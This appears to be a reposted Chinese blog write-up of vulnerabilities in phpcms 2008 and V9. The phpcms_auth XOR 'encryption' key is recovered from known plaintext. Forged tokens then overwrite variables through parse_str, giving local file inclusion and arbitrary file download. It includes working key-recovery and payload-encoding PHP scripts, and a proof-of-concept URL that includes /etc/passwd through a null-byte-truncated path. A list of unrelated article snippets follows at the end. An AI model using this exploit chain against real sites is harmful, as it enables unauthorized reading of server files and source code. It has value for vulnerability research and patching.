phpcms的phpcms_auth导致的本地文件包含漏洞和任意文件下载漏洞

by c4rp3nt3r@0x50sec.org
mail: c4rp3nt3r#gmail.com
HomePage:http://www.0x50sec.org

phpcms_auth函数是phpcms里面为了增强程序的安全性的一个加密函数,在play.php、down.php 、download.php等等文件用它来对用户提交的加密字符串进行解密,进入程序流程,如果我们可以控制了phpcms_auth函数的解密,我们就可以通过注射我们的恶意代码,进行攻击。
而phpcms_auth采用的是可逆的位异或算法,并且对加密的结果进行了base64编码。
对于位异或算法来说只要我们破解了密钥字符串$key我们就完全控制了这个函数的加密解密。
对于base64编码主要是处理某些加密后的不可见字符,但是这给了我们一个很好的机会:
就是说我们破解了$key之后,我们就可以不受magic_quotes_pgc的限制引入%00字符串进行阶段,或者引入引号发起其他攻击。
到此已经违背了这个程序设计的初衷,破解了这个函数之后,一方面反而更加不安全了,另一方面所有建立在这个函数之上的机制可能都会受到攻击。

// include/global.func.php
function phpcms_auth($txt, $operation = 'ENCODE', $key = '')
{
$key    = $key ? $key : $GLOBALS['phpcms_auth_key'];
$txt    = $operation == 'ENCODE' ? $txt : base64_decode($txt);
$len    = strlen($key);
$code    = '';

for($i=0; $i<strlen($txt); $i++){
$k        = $i % $len;    //循环使用密钥字符串对字符串逐位进行异或
$code  .= $txt[$i] ^ $key[$k];
}
$code = $operation == 'DECODE' ? $code : base64_encode($code);
return $code;
}

对于$key的破解
对于位运算的异或运算,是可逆的,明文和密钥异或得到密文。如果我们知道密文并且知道一部分明文那么我们也就可以得到密钥,有了密钥我们就可以破解另一部分密文,当然也就可以对我们自己的明文进行加密,然后用我们精心构造的密文发起攻击了。

不幸的是phpcms的确给了我们可用来破解密钥的明文。

// include/fields/downfile/output.inc.php

function downfile($field, $value)
{
$contentid = $this->contentid;
$mode = $this->fields[$field]['mode'];
$result = '';
if($mode)
{
$servers = $this->fields[$field]['servers'];
$downloadtype = $this->fields[$field]['downloadtype'];
$servers = explode("\n",$servers);
foreach($servers AS $k=>$server)
{
$server = explode("|",$server);
$serverurl = $server[1];
$a_k = urlencode(phpcms_auth("i=$contentid&s=$serverurl&m=1&f=$value&d=$downloadtype", 'ENCODE', AUTH_KEY));
$result .= "<a href='down.php?a_k=$a_k' target='_blank'>$server[0]</a>";
}
}
else
{
$a_k = urlencode(phpcms_auth("i=$contentid&m=0&f=$value", 'ENCODE', AUTH_KEY));
$result = "<a href='down.php?a_k=$a_k' target='_blank'>点击下载</a>";
}
return $result;
}

这个文件是用来生成静态html文件的,默认安装的phpcms某个软件的下载页面地址为:

http://127.0.0.1/n/phpcms/2011/0331/2.html

进入下载文件的下载地址为:

http://127.0.0.1/n/phpcms/down.php?a_k=GnRCQxxbSQpfXGAwfhwcCDUkEwMaJRVKXVZeVk1cdWVyRl5Ua3RHVkB4QVdeVFxUVVpweDkAHEI%2BeEY%3D

对加密字符串解密后为
密文:GnRCQxxbSQpfXGAwfhwcCDUkEwMaJRVKXVZeVk1cdWVyRl5Ua3RHVkB4QVdeVFxUVVpweDkAHEI%2BeEY%3D
明文:i=2&s=&m=0&f=uploadfile/2011/0331/20110331121233766.zip&d=1
这里2.html的2就是数据库里id的值,如果没有设置镜像站点的话$serverurl为空
也就是说”i=2&s=&m=1&f=”是不会变的,我们可以破解12位的密钥了。
默认的话密钥有20位,如果用户上传目录没修改的话我们知道的明文就有”i=2&s=&m=0&f=uploadfile”共23个字符,可以得到全部密钥了。

$key="i=2&s=&m=0&f=uploadfile";
$txt='GnRCQxxbSQpfXGAwfhwcCDUkEwMaJRVKXVZeVk1cdWVyRl5Ua3RHVkB4QVdeVFxUVVpweDkAHEI%2BeEY%3D';
$txt=base64_decode(urldecode($txt));
$len=strlen($key);
echo $len;
for($i=0;$i<strlen($key);$i++)
{
$code  .= $txt[$i] ^ $key[$i];
}
echo $code;
?>

运行结果为:sIpeofogblFVCildZEwesIp
可以看到sIp开始下一个循环加密了,所以密钥就是:sIpeofogblFVCildZEwe

还有一点就是下载的时候我们可以得到文件名:20110331121233766.zip
d的值是下载文件的类型,假设我们不知道也不要紧
就是说明文:20110331121233766.zip&d=是已知的有24位
密文:GnRCQxxbSQpfXGAwfhwcCDUkEwMaJRVKXVZeVk1cdWVyRl5Ua3RHVkB4QVdeVFxUVVpweDkAHEI%2BeEY%3D

$key="20110331121233766.zip&d=";
$txt='GnRCQxxbSQpfXGAwfhwcCDUkEwMaJRVKXVZeVk1cdWVyRl5Ua3RHVkB4QVdeVFxUVVpweDkAHEI%2BeEY%3D';

$txt=base64_decode(urldecode($txt));
$tlen=strlen($txt);
$klen=strlen($key);
for($i=1;$i<strlen($key);$i++)
{
$code  .= $txt[$tlen-$i-1] ^ $key[$klen-$i];
}
echo $code."\n";
echo $tlen."\n";
?>

运行结果为:
EZdliCVFlbgofoepIsewEZd
59
来看phpcms_auth源码
/*
...
$len    = strlen($key);
...

for($i=0; $i<strlen($txt); $i++){
$k        = $i % $len;
$code  .= $txt[$i] ^ $key[$k];
}
...
*/

我们可以知道
$key[17]=’E';
我们可以得到倒序的密钥字符串:
ewEZdliCVFlbgofoepIs

然后我们把字符串翻转过来终端下执行:

alone@Sh3llc0de:~$ echo ‘ewEZdliCVFlbgofoepIs’|rev
sIpeofogblFVCildZEwe

我们的密钥字符串就是:sIpeofogblFVCildZEwe

到此我们已经从一个攻击者的角度破解出了密钥。接下来我们看看由此引发的几个安全问题
————————————-

1.phpcms2008 sp2-sp4 本地文件包含漏洞
这个漏洞跟boblog刚爆出的任意变量覆盖漏洞有些相似,都是任意变量覆盖然后仅跟了一个本地文件包含。这种漏洞也是很好玩的,攻击的方法更灵活。

//play.php
require dirname(__FILE__).'/include/common.inc.php';
if(!isset($a_k)) showmessage($LANG['illegal_parameters']);
//common.inc.php文件的全局变量机制已经将所有GPC数据导出为变量了
//所以$a_k=$_GET[$a_k];
$a_k = phpcms_auth($a_k, 'DECODE', AUTH_KEY); //这里是关键分析见上文

if(empty($a_k)) showmessage($LANG['illegal_parameters']);
unset($i, $m, $f, $p);
parse_str($a_k);    //parse_str处理解密后的$a_k将导致变量覆盖
//通过覆盖下文的$mod 或者$templateid将触发本地文件包含漏洞
//由于我们提交的密文会经过phpcms_auth函数中base64解密的,所以直接无视magic_quotes_gpc的影响而可以NULL字符截断
//但是高版本的PHP修复了%00的攻击缺陷

if(isset($i)) $i = intval($i);
if(!isset($m)) showmessage($LANG['illegal_parameters']);

if(empty($f)) showmessage('地址失效');
if(preg_match('/\.php$/',$f) || strpos($f, ":\\")) showmessage('地址有误');
if(!$i || $m<0) showmessage($LANG['illegal_parameters']);
$allow_readpoint = 1;
// include global.fuc.php
/*
...
$M = $TEMP = array();
if(!isset($mod)) $mod = 'phpcms';
if($mod != 'phpcms')
{
isset($MODULE[$mod]) or exit($LANG['module_not_exists']);
$langfile = defined('IN_ADMIN') ? $mod.'_admin' : $mod;
@include PHPCMS_ROOT.'languages/'.LANG.'/'.$langfile.'.lang.php';
$M = cache_read('module_'.$mod.'.php');
}
...
*/
//此处通过上文的对$mod进行变量覆盖绕过下面的if语句
if($mod == 'phpcms')
{
$contentid = $i;
include 'admin/content.class.php';
$content = new content;
$data = $content->get($contentid);
$readpoint = $data['readpoint'];

$title = $data['title'];
$keys = array_keys($data);

if(in_array('groupids_view',$keys))
{
if($data['groupids_view'])
{
if(!$priv_group->check('contentid', $contentid, 'view', $_groupid)) showmessage('您没有查看权限');
}
if(in_array('readpoint', $keys))
{
$C = cache_read('category_'.$data['catid'].'.php');
if($C['defaultchargepoint'] || !empty($readpoint))
{
$readpoint = $readpoint ? $readpoint : $C['defaultchargepoint'];
$pay = load('pay_api.class.php', 'pay', 'api');
if($C['repeatchargedays'])
{
if($pay->is_exchanged($contentid, $C['repeatchargedays']) === FALSE)
{
$allow_readpoint = 0;
}
}
else
{
session_start();
if($_SESSION['pay_contentid'] != $contentid) $allow_readpoint = 0;
}
}
}
}
}

$player = load('player.class.php');
$result = $player->get($p);
@extract($result);
$videourl = trim($f);
$code = str_replace('{$filepath}',$videourl, $code);
$code = str_replace('{$PHPCMS[siteurl]}', $PHPCMS['siteurl'], $code);
$code = str_replace('{$PHPCMS[sitename]}', $PHPCMS['sitename'], $code);
$templateid = $templateid ? $templateid : 'play';
include template($mod, $templateid);
/*
// include/global.fuc.php
// function template 起到一个连接字符串的作用

function template($module = 'phpcms', $template = 'index', $istag = 0)
{
$compiledtplfile = TPL_CACHEPATH.$module.'_'.$template.'.tpl.php';
if(TPL_REFRESH && (!file_exists($compiledtplfile) || @filemtime(TPL_ROOT.TPL_NAME.'/'.$module.'/'.$template.'.html') > @filemtime($compiledtplfile) || @filemtime(TPL_ROOT.TPL_NAME.'/tag.inc.php') > @filemtime($compiledtplfile)))
{
require_once PHPCMS_ROOT.'include/template.func.php';
template_compile($module, $template, $istag);
}
return $compiledtplfile;
}

*/
?>

接下来生成我们的攻击字符串:
$key='sIpeofogblFVCildZEwe';
$evil='i=1&m=1&f=fuck&mod=../../../../../../../etc/passwd%00&c4rp3nt3r=0x50sec.org';
//经过parse_str($evil);后c4rp3nt3r变量并没有被创建
//这个地方我也不是很明白为什么可以进行截断
//但事实上真的可以截断

$evil = phpcms_auth($evil, 'ENCODE', $key);
echo $evil."\n";
function phpcms_auth($txt, $operation = 'ENCODE', $key)
{
$txt    = $operation == 'ENCODE' ? $txt : base64_decode($txt);
$len    = strlen($key);
$code    = '';

for($i=0; $i<strlen($txt); $i++){
$k        = $i % $len;
$code  .= $txt[$i] ^ $key[$k];
}
$code = $operation == 'DECODE' ? $code : base64_encode($code);
return $code;
}
?>

alone@Sh3llc0de:/var/www$ php v.php
GnRBQwJbXkEEUSAjIAJKCTUhSktdZl5LQEhBSExCaXhtRkJKdWtZShY9E0ofBxwUFQhjZnNPD1AoNUQLB3oCWF8eWlcRCSV4LBsL

POC:http://127.0.0.1/n/phpcms/play.php?a_k=GnRBQwJbXkEEUSAjIAJKCTUhSktdZl5LQEhBSExCaXhtRkJKdWtZShY9E0ofBxwUFQhjZnNPD1AoNUQLB3oCWF8eWlcRCSV4LBsL
成功包含了/etc/passwd

2.phpcms2008 sp2-sp4、PHPCMS V9 正式版任意文件下载漏洞

以phpcms2008为例

down.php 和download.php都存在这个漏洞,具体利用跟上面的文件包含差不多就不多罗嗦了,成功利用此漏洞可以下载任意文件,包括.php后缀的文件。
只是download.php的加密方式是:
//download.php

$phpcms_auth_key = md5(AUTH_KEY.$_SERVER['HTTP_USER_AGENT']);
$a_k = phpcms_auth($a_k, ‘DECODE’, $phpcms_auth_key);

这样可能主要是为了仿制迅雷等浏览器的下载。但是既然我们知道了AUTH_KEY(见上文分析的密钥$key),$_SERVER['HTTP_USER_AGENT']是由用户提交的,那么$phpcms_auth_key 我们自然也就知道了。
除了上面说的知道部分明文来算$key,还有可能暴力破解$key.
还有就是经过md5加密后也未必就更安全,因为系统生成的$key有20位但是每一位都肯能个是大写或者小写字母,也就是有52种可能,但是经过md5加密后每一位就变成只有16种可能了,大大增加了被暴力破解的可能性。

全文结束
参考和致谢:
80vul.com《高级PHP应用程序漏洞审核技术》
Ryat[puretot] 《bo-blog任意变量覆盖漏洞》

本文转hackfreer51CTO博客,原文链接:http://blog.51cto.com/pnig0s1992/537457,如需转载请自行联系原作者

phpcms的phpcms_auth导致的任意变量覆盖漏洞、本地文件包含漏洞和任意文件下载漏洞...相关推荐

  1. php excel中解析显示html代码_骑士cms从任意文件包含到远程代码执行漏洞分析

    前言 前些日子,骑士cms 官方公布了一个系统紧急风险漏洞升级通知:骑士cms 6.0.48存在一处任意文件包含漏洞,利用该漏洞对payload文件进行包含,即可造成远程代码执行漏洞.这篇文章将从漏洞 ...

  2. github不小心同步覆盖了本地文件

    昨天不小心github的commit还没push就同步了,导致本地文件被覆盖,一度以为没救了. 后来得微博 @空非无和 @柳烟堆雪 指点,用git reflog 恢复了文件. 事情是这样的... 我在 ...

  3. mysql对本地文件的读取_Mysql 任意读取客户端文件

    load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; 实现:Mysql Server会 ...

  4. 10_文件包含漏洞(属于任意代码执行)

    一.背景介绍 随着网站业务的需求,web脚本可能允许客户端用户输入控制动态包含在服务器端的文件,会导致恶意代码的执行及敏感信息泄露,主要包括本地文件包含和远程文件包含两种形式. 二.漏洞成因 文件包含 ...

  5. 任意文件包含漏洞(1)

    目录 原理 分类 危害 包含的函数 本地文件包含 远程文件包含 利用方式 无文件包含方法 有文件包含方法 1.伪协议 1.data 2.php://input 3.zip://伪协议 首先要说明的一点 ...

  6. filter执行先后问题_Thinkphp5框架变量覆盖导致远程代码执行

    Thinkphp5.0.x框架对输入数据过滤不严,导致Request类成员存在变量覆盖问题,在一定情况下能导致远程代码执行漏洞. 介绍 Thinkphp框架官方提供核心版和完整版两种: 核心版因默认缺 ...

  7. phpcms前台注入导致任意文件读取漏洞

    关于:phpcms前台注入导致任意文件读取漏洞的修复问题 简介: phpcms的/phpcms/modules/content/down.php文件中,对输入参数 $_GET['a_k']未进行严格过 ...

  8. 一、WillPHPv2代码审计-[变量覆盖]-[文件包含]-[任意文件读取漏洞]-[pearcmd裸文件包含]

    时间戳--2021.12.12 0x01 [HXBCTF 2021]easywill_WriteUp: 一.PHPSTORM框架调试 第一步:登录buuctf,打开[HXBCTF 2021]easyw ...

  9. php之变量覆盖漏洞讲解

    1.变量没有初始化的问题(1): wooyun连接1:[link href="WooYun: PHPCMS V9 member表内容随意修改漏洞"]tenzy[/link] $up ...

  10. PHP-代码审计-变量覆盖

    当你的才华 还撑不起你的野心时 那你就应该静下心来学习 代码审计学习线上实验,都是CE一边实操,一边整理的笔记,方便以后翻看时,可快速查阅. 目录 变量覆盖漏洞 一.简介 • extract()函数 ...

最新文章

  1. MySQL 表和列的注释
  2. matlab特征值分解法求多自由度系统的固有频率和主振型
  3. cannot remove `libtoolT’: No such file or directory
  4. 寒门难再出贵子(6),一篇值得思考的文章
  5. Android v1、v2、v3签名原理
  6. Qt之进程间通信(Windows消息)
  7. PHP正则匹配Html内容,并通过浏览器弹框下载Excel
  8. iOS动画和第三方插件学习网址
  9. linux centos7 利用keepalived 搭建高可用nginx集群
  10. Nginx之13运筹帷幄 - (VeryNginx)
  11. 计算机术语root,root是什么意思
  12. 天呐,经常用的sudo居然有漏洞?
  13. 百度富文本编辑器引入问题
  14. vue 项目中实现按钮防抖
  15. 苹果开发者账号登录的问题
  16. 数据结构-C语言-严蔚敏
  17. 开启 Chrome、Edge 浏览器的多线程下载功能
  18. python format使用
  19. AudioUnit录制音频+耳返(四)
  20. SpringCloud微服务架构标准版本拓扑图

热门文章

  1. java 动态执行代码_java中动态执行一段代码
  2. JavaScript怎样读取本地Excel文件
  3. 小程序ColorUI使用简易教程
  4. 中国石油大学--生活学习简易FAQ
  5. access mysql并发_多用户同时使用ACCESS
  6. perl操作postsql
  7. 淘宝客APP带自营商城本地生活CPS外卖优惠电影票话费更新渠道跟单生活特权V3
  8. lammps教程:delete_atoms 命令详解
  9. lammps教程:nve/nvt/npt系综设置方法
  10. 安卓地图的实现附源码